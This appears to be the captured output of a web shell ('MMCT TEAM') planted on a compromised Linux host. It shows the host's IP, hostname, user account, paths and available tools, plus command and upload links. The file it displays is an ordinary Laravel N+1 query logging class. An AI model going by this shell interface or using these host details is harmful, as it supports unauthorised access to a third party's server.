MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/celkcksm/hrms.ncriptech.com/vendor/beyondcode/laravel-query-detector/src/Outputs/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/hrms.ncriptech.com/vendor/beyondcode/laravel-query-detector/src/Outputs/Log.php
<?php

namespace BeyondCode\QueryDetector\Outputs;

use Illuminate\Support\Facades\Log as LaravelLog;
use Illuminate\Support\Collection;
use Symfony\Component\HttpFoundation\Response;

class Log implements Output
{
    public function boot()
    {
        //
    }

    public function output(Collection $detectedQueries, Response $response)
    {
        $this->log('Detected N+1 Query');

        foreach ($detectedQueries as $detectedQuery) {
            $logOutput = 'Model: '.$detectedQuery['model'] . PHP_EOL;

            $logOutput .= 'Relation: '.$detectedQuery['relation'] . PHP_EOL;

            $logOutput .= 'Num-Called: '.$detectedQuery['count'] . PHP_EOL;

            $logOutput .= 'Call-Stack:' . PHP_EOL;

            foreach ($detectedQuery['sources'] as $source) {
                $logOutput .= '#'.$source->index.' '.$source->name.':'.$source->line . PHP_EOL;
            }

            $this->log($logOutput);
        }
    }

    private function log(string $message)
    {
        LaravelLog::channel(config('querydetector.log_channel'))->info($message);
    }
}

MMCT - 2023